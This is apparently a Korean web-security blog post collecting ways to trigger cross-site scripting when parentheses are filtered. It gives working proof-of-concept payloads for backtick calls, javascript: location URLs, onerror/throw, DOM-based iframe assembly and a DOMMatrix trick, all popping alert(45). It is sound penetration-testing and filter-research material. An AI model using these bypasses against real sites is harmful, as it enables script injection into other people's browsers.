Ways to XSS without parentheses

Introduction

간만에 @garethheyes 가 굉장히 쓸만한 테크닉을 하나 공유했습니다. DOMMatrix 를 이용해서 괄호 검증을 나가는 방법이고, 기존에 사용하던 방법들에 어려움이 있을 때 참고해볼만한 기법입니다. 꼭 한번 읽어보세요.!

  • https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

그래서 겸사겸사.. 오늘은 이 방법과 함께 괄호에 대한 필터링이 있는 경우 XSS를 풀어나가기 위한 방법에 대해 정리해둘까 합니다. 이전까지 따로따로 글을 작성했었는데, 간만에 한 글에 모아봅시다!

Bypass technic 1 - Backtick

Backtick(```) 은 javascipr 내부에서 여러 용도로 사용됩니다. 그중엔 괄호를 대체할 수도 있습니다.

alert`45`

자세한 내용은 예전에 작성한 글 중 Bypass Point 3 을 보시면 될 것 같습니다 :D https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html

Bypass technic 2 - location

garethheyes 이야기대로, location은 좋은 우회방법이긴 하지만, 점점 location에 대한 정책이 강화되고 있어서 입지가 좁아지고 있는건 사실입니다. 또한 safari에서의 이슈도 있구요.

document.location="javascript:alert%2845%29"

Bypass technic 3 - throw

좋은 방법이긴하나 WAF에 많이 막히긴합니다. onerror에 alert 함수를 넣어주어, 에러 시 onerror()alert()이 되도록 값을 덮어쓰고, throw로 강제로 에러를 발생시켜 onerror()가 호출되게 하는 방법입니다. 결론적으론 alert(45)와 같은 효과를 내죠.

onerror=alert;throw 45

https://portswigger.net/research/xss-without-parentheses-and-semi-colons

Bypass technic 4 - XDE(XSS DOM-base Evasion)

location이나 innerHTML 등을 이용한 XDE입니다. 핵심은 HTML Object 내에서 특수문자를 최대한 찾아(삽입할 수 있는 경우엔 그냥 넣고 쓰면 됩니다) DOM안에서 공격코드를 구성하는 방법입니다.

NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>
  • https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

Bypass technic 5 - DOMMatrix

대망의 DOMMatrix입니다. 우선 공격코드부터 보면 아래와 같습니다.

x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

DOMMatrix 객체를 만들고, 해당 객체(matrix)의 원형에 alert을 넣고 location에 javascript 구문과 함께 넘겨주면, 결과적으로 x 변수에는 matrix(45,0,0,1,0,0) 이 들어가며, 이는 matrix에 alert을 넣었기 때문에 alert(45,0,0,1,0,0) 와 동일하게 동작합니다.

javascript:matrix(45, 0, 0, 1, 0, 0)
matrix
ƒ alert() { [native code] }

Conclusion

Javascript 를 이용한 방법은 정말 끝도 없습니다. DOM 객체나 Javascript의 특성적인 부분을 잘 이용한다면 사용하기 어려운 특수문자들을 우회하여 결국 XSS까지 이뤄질 수 있겠죠.

Happy hacking!

Reference

  • https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
  • https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html
  • https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
  • https://portswigger.net/research/xss-without-parentheses-and-semi-colons